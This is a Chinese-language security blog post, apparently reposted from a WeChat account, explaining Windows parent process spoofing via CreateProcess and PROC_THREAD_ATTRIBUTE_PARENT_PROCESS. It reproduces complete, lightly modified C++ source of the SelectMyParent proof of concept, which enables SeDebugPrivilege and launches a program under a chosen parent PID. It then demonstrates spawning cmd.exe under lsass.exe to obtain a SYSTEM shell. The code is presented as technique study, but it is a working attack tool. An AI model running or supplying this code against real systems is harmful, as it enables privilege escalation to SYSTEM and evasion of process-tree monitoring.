Didier Stevens 在其博客(https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/)中谈到了如何通过 Windows API——"CreateProcess"这种方法完成父进程欺骗。于此同时他还发布了一个用C++编写的POC(SelectMyParent),它允许用户通过指定PID来选择其父进程,"CreateProcess"函数与"STARTUPINFOEX"和"LPPROC_Thread_ATTRIBUTE_LIST"一起使用,项目地址为https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip。
完整源码
部分代码片段被我进行过修改,因为我本机的VS版本2017无法兼容原有的项目的部分代码。
void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError)
{
HLOCAL hlErrorMessage = NULL;
if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))
{
_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));
LocalFree(hlErrorMessage);
}
}
BOOL CurrentProcessAdjustToken(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES sTP;
// GetCurrentProcess https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess
// OpenProcessToken https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
// TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-rights-for-access-token-objects
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// LookupPrivilegeValue https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea
// SE_DEBUG_NAME https://learn.microsoft.com/zh-cn/windows/win32/secauthz/privilege-constants?redirectedfrom=MSDN
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid))
{
CloseHandle(hToken);
return FALSE;
}
sTP.PrivilegeCount = 1;
sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// AdjustTokenPrivileges https://learn.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL))
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
return FALSE;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (argc != 3) {
_putts(TEXT("usage: SelectMyParent program pid"));
return 0;
}
else {
SIZE_T cbAttributeListSize = 0;
// InitializeProcThreadAttributeList https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist?redirectedfrom=MSDN
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
// GetProcessHeap https://learn.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-getprocessheap
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
if (NULL == pAttributeList)
{
DisplayErrorMessage((LPTSTR)"HeapAlloc error", GetLastError());
return 0;
}
if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize))
{
DisplayErrorMessage((LPTSTR)"InitializeProcThreadAttributeList error", GetLastError());
return 0;
}
CurrentProcessAdjustToken();
HANDLE hParentProcess = NULL;
DWORD dwPid = 0;
STARTUPINFOEX sie;
ZeroMemory(&sie, sizeof(sie));
sie.StartupInfo.cb = sizeof(sie);
dwPid = _tstoi(argv[2]);
if (0 == dwPid)
{
_putts(TEXT("Invalid pid"));
return 0;
}
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hParentProcess)
{
DisplayErrorMessage((LPTSTR)"OpenProcess error", GetLastError());
return 0;
}
// UpdateProcThreadAttribute https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
{
DisplayErrorMessage((LPTSTR)"UpdateProcThreadAttribute error", GetLastError());
return 0;
}
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
sie.lpAttributeList = pAttributeList;
if (!CreateProcess(NULL,
argv[1],
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
&sie.StartupInfo,
&pi))
{
DisplayErrorMessage((LPTSTR)"CreateProcess error", GetLastError());
return 0;
}
_tprintf(TEXT("Process created: %dn"), pi.dwProcessId);
//WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hParentProcess);
DeleteProcThreadAttributeList(pAttributeList);
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, sie.lpAttributeList);
return 1;
}
}
效果展示
C:UsersAdministratorDesktop父进程欺骗.exe cmd 712
尝试通过程序在pid为712的进程下创建一个子进程,调用系统命令中的"C:WindowsSystem32cmd.exe",
可以看见,在程序运行时会弹出一个cmd窗口,他的权限和其父进程的权限一直,因为lsass.exe默认知行权限为system,所以他的子进程cmd.exe的权限也为system。
参考
[1]https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
原文始发于微信公众号(蟹堡安全团队):父进程欺骗--DidierStevens
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论